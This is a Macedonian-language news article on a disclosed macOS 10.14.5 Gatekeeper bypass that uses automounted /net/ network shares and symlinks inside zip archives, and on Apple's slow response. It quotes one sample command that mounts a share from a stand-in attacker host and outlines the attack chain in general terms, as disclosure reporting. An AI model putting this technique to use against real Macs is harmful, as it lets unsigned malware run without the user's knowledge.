Лесно е да се инсталира злонамерна апликација на Mac. Apple не ја поправи грешката ниту по три месеци

Истражувачот за безбедност Филипо Каваларин објави предупредување за грешката во macOS 10.14.5 на својот блог. Ова се состои во можноста за целосно заобиколување на безбедносните мерки на Gatekeeper. Според Каваларин, тој ја посочил грешката на Apple веќе во февруари оваа година, но компанијата не ја поправила во најновото ажурирање.

Gatekeeper беше развиен од Apple и вграден во неговиот десктоп оперативен систем за прв пат во 2012 година. Тоа е механизам што спречува апликација да работи без знаење и согласност на корисникот. Откако ќе преземете апликација, Gatekeeper автоматски го проверува нејзиниот код за да види дали софтверот е правилно потпишан од Apple.

Во својот блог пост, Каваларин наведува дека Gatekeeper, стандардно, смета дека и надворешното складирање и мрежните споделувања се безбедни локации. Секоја апликација што се наоѓа во овие цели може автоматски да се активира без да мора да помине низ проверката на Gatekeeper. Токму оваа функција може да се искористи за лансирање на малициозен софтвер без знаење на корисникот.

Еден аспект што дозволува неовластен пристап е функцијата за автоматско монтирање, која им овозможува на корисниците автоматски да монтираат мрежен удел едноставно со одредување патека што започнува со „/net/“. Како пример, Cavallarin ја наведува патеката „ls /net/evil-attacker.com/sharedfolder/“ која може да предизвика оперативниот систем да ја вчита содржината на папката „sharefolder“ на оддалечена локација што може да биде потенцијално злонамерна.

Начинот на кој функционира заканата можете да го погледнете во видеото:

Друг фактор е фактот дека ако е споделена зип архива што содржи специфична символска врска што води до функцијата за автоматско монтирање, таа нема да биде проверена од Gatekeeper. На овој начин, жртвата лесно може да ја преземе злонамерната архива и да ја отпакува, дозволувајќи му на напаѓачот да работи буквално каков било софтвер на Mac без знаење на корисникот. Пронаоѓачот, кој стандардно крие одредени екстензии, исто така има свој дел од оваа ранливост.

Каваларин на својот блог наведува дека Apple го привлече вниманието на ранливоста на оперативниот систем macOS на 22 февруари оваа година. Но, во средината на мај, Apple престана да комуницира со Каваларин, па Каваларин реши целата работа да ја објави во јавноста.

Извор: FCVL